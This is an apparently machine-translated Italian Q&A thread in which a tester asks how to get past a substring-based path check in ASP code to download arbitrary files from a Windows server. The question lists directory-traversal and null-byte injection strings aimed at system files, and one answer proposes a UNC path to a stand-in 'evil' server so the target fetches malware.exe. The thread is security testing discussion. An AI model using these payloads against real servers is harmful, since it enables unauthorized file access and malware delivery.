Possibile vulnerabilità legata al download di file arbitrari

4

Sto verificando un possibile pezzo vulnerabile di codice ASP su un ambiente Windows. Il codice è il seguente:

If InStr(strPath, "\Only\Download\From\Here\", CompareMethod.Text) = 0 Then

In linea di massima si suppone che consenta solo allo script di download di recuperare i file da quella posizione. Il server Web ha l'attraversamento di directory disattivato . Ciò significa che il seguente invio non funzionerà e in effetti restituirà un 403 vietato:

\Only\Download\From\Here\..\..\..\..\..\c:\windows\system32\eula.txt

Poiché la funzione sais "InStr" invece di "BeginsWith" (codice psuedo) controlla solo se la stringa contiene il percorso, ma in realtà non inizia con il percorso.

Il seguente invio passerà la clausola If, ma ritornerà in un file non trovato:

c:\windows\system32\eula.txt%00\Only\Download\From\Here\

Il nullbyte qui iniettato non fa nulla e cerca di trovare il file che corrisponde all'intera stringa. Ho anche provato a iniettare CRLF, #,; e altro ancora.

La mia domanda è allora se c'è un modo in cui posso inviare una stringa di query che possa scaricare correttamente i file arbitrari? C'è un modo per inviare un URI di file che mi preleva un file e in un modo che commenta / Only / Download / From / Here.

Modifica: Per riassumere, sto cercando un modo per "commentare" l'ultima parte del nome del file, sia attraverso un bug / funzionalità / vulnerabilità in ASP, Webserver o la gestione di Windows di File.

    
posta Chris Dale 29.06.2012 - 10:59
fonte

2 risposte

2

Anche se probabilmente non puoi accedere ai file sul sistema, è ancora una potenziale vulnerabilità se riesci a far sì che acceda ai percorsi UNC. È possibile ottenere il server per scaricare file arbitrari in questo modo:

\evil-server-example.com\Only\Download\From\Here\malware.exe

Basta configurare un server con condivisione file Windows aperta a Internet, con una condivisione accessibile. Ciò causerà il download del file, pensò che potrebbe non essere memorizzato a seconda della configurazione del sistema operativo e del codice che stai trattando. Se è memorizzato, è probabile che si trovi in una directory temporanea. Potresti essere in grado di sfruttarlo più tardi.

    
risposta data 03.07.2012 - 17:32
fonte
1

Impossibile commentare il percorso \Only\Download\From\Here\ nel file del codice sorgente ASP effettivo, a meno che non vi sia una vulnerabilità diversa che consenta la modifica del codice sorgente sul server.

L'utilizzo di CRLF, # ecc sta commentando o ignorando il piccolo pezzo di \Only\Download\From\Here\ nel file di codice ASP, che è quasi impossibile.

Ogni volta che viene effettuata una richiesta, il server Web legge il codice sorgente dal file ASP e lo compila. L'obiettivo di scaricare file arbitrari può essere ottenuto solo se si inserisce un codice caricato nella memoria del server Web per quella specifica richiesta per ignorare \Only\Download\From\Here\

EDIT: l'unico modo possibile per sfruttare questo è mascherare il percorso come fa l'attraversamento di directory, ma qui non hai questa opzione. Se eventuali errori nella gestione del percorso file da parte del server Web o della finestra stessa possono consentire che ciò accada, sarà una vulnerabilità completamente diversa da questo codice ASP.

    
risposta data 29.06.2012 - 12:20
fonte

Leggi altre domande sui tag